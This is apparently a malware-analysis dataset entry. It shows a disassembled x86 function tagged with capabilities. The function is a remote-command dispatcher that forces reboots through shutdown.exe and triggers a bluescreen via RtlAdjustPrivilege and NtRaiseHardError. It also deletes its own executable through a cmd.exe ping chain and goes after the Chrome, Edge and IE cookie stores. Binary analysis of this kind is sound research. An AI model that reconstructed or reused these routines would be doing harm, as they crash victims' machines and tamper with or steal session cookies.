Function at 0x40518b
Capabilities:
Create process on windows
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
push esi
push edi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
call fcn.00407439
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4051e2
cmp dword [ebp - 0xc], 1
je 0x4051f4
cmp dword [ebp - 0xc], 2
je 0x405206
cmp dword [ebp - 0xc], 3
je 0x405281
cmp dword [ebp - 0xc], 4
je 0x405454
cmp dword [ebp - 0xc], 5
je 0x40545c
jmp 0x405692
push 0
push str.shutdown.exe__r__t_00
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x405692
push 0
push str.shutdown.exe__r__f__t_00
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x405692
push str.RtlAdjustPrivilege
push 0x426560
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4c], eax
push str.NtRaiseHardError
push 0x426580
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x35]
push eax
push 0
push 1
push 0x13
call dword [ebp - 0x58]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x90]
push eax
push 6
push 0
push 0
push 0
push 0xc00002b4
call dword [ebp - 0x60]
jmp 0x405692
push 0x44
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.0040132f
add esp, 0xc
push 0x11
pop ecx
lea esi, [ebp - 0x110]
lea edi, [ebp - 0x154]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
lea edi, [ebp - 0xb4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea esi, [ebp - 0xb4]
lea edi, [ebp - 0xa4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
and dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x258]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xe
pop ecx
mov esi, str.cmd.exe__C_ping_1.2.3.4__n_4__w_1000___Nul__cmd.exe__C
lea edi, [ebp - 0x460]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
add eax, 0x38
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov cl, byte [0x4265c8]
mov byte [ebp + eax - 0x460], cl
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x258]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x10]
mov al, byte [eax]
mov byte [ebp - 5], al
inc dword [ebp - 0x10]
cmp byte [ebp - 5], 0
jne 0x405319
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x64]
mov dword [ebp - 0x68], eax
push dword [ebp - 0x68]
lea eax, [ebp - 0x258]
push eax
mov eax, dword [ebp - 4]
lea eax, [ebp + eax - 0x460]
push eax
call fcn.00401309
add esp, 0xc
lea eax, [ebp - 0x258]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x14]
mov al, byte [eax]
mov byte [ebp - 6], al
inc dword [ebp - 0x14]
cmp byte [ebp - 6], 0
jne 0x405360
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x6c]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x70]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov cx, word [0x4265cc]
mov word [ebp + eax - 0x460], cx
push 5
lea eax, [ebp - 0x3c]
push eax
call fcn.0041e9f8
pop ecx
pop ecx
push 0x4265d0
lea ecx, [ebp - 0x3c]
call fcn.00406c53
lea eax, [ebp - 0x40]
push eax
call fcn.0041ea3f
pop ecx
lea ecx, [ebp - 0x3c]
call fcn.00406f44
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
mov dword [ebp - 0x74], eax
lea ecx, [ebp - 0x40]
call fcn.00406f44
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
mov dword [ebp - 0x78], eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40543f
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x154]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x460]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x94], eax
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xa4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x40]
call fcn.00406be2
lea ecx, [ebp - 0x3c]
call fcn.00406be2
jmp 0x405692
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0xcc]
call fcn.0041f24c
push 0x1c
lea eax, [ebp - 0x34]
push eax
call fcn.0041e9f8
pop ecx
pop ecx
push str.LocalGoogleChromeUser_DataDefaultNetworkCookies
lea ecx, [ebp - 0x34]
call fcn.00406c53
push ecx
mov ecx, esp
lea eax, [ebp - 0x34]
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
push 0x1a
lea eax, [ebp - 0x18]
push eax
call fcn.0041e9f8
pop ecx
pop ecx
push 0x426674
lea ecx, [ebp - 0x18]
call fcn.00406c53
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x30]
call fcn.00406fbc
push 0x426698
lea ecx, [ebp - 0x30]
call fcn.00406c53
push 0x4266b4
lea ecx, [ebp - 0x2c]
call fcn.00406f64
and dword [ebp - 0x7c], 0
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x2c]
call fcn.00406cda
push 0x208
push 0
lea eax, [ebp - 0x668]
push eax
call fcn.0040132f
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.00406f44
mov dword [ebp - 0x80], eax
lea ecx, [ebp - 0x2c]
call fcn.00406f44
mov dword [ebp - 0x84], eax
push dword [ebp - 0x80]
push 0x104
lea eax, [ebp - 0x668]
push eax
push 0
push 0x4266c4
push dword [ebp - 0x84]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x28]
call fcn.00406fbc
lea eax, [ebp - 0x668]
push eax
lea ecx, [ebp - 0x28]
call fcn.00406c53
mov dword [ebp - 0x88], eax
push 0x4266d0
mov ecx, dword [ebp - 0x88]
call fcn.00406c7e
push ecx
mov ecx, esp
lea eax, [ebp - 0x28]
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
push 0x1c
lea eax, [ebp - 0x24]
push eax
call fcn.0041e9f8
pop ecx
pop ecx
push str.MicrosoftEdgeUser_DataDefaultcookies
lea ecx, [ebp - 0x24]
call fcn.00406c7e
push ecx
mov ecx, esp
lea eax, [ebp - 0x24]
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
push 0x1c
lea eax, [ebp - 0x20]
push eax
call fcn.0041e9f8
pop ecx
pop ecx
push str.MicrosoftWindowsINetCookies
lea ecx, [ebp - 0x20]
call fcn.00406c7e
push ecx
mov ecx, esp
lea eax, [ebp - 0x20]
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
push 0x1c
lea eax, [ebp - 0x1c]
push eax
call fcn.0041e9f8
pop ecx
pop ecx
push str.MicrosoftWindowsCookies
lea ecx, [ebp - 0x1c]
call fcn.00406c7e
push ecx
mov ecx, esp
lea eax, [ebp - 0x1c]
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x20]
call fcn.00406be2
lea ecx, [ebp - 0x24]
call fcn.00406be2
lea ecx, [ebp - 0x28]
call fcn.00406be2
lea ecx, [ebp - 0x2c]
call fcn.00406be2
lea ecx, [ebp - 0x30]
call fcn.00406be2
lea ecx, [ebp - 0x18]
call fcn.00406be2
lea ecx, [ebp - 0x34]
call fcn.00406be2
lea ecx, [ebp - 0xcc]
call fcn.0041edeb
jmp 0x405692
pop edi
pop esi
leave
ret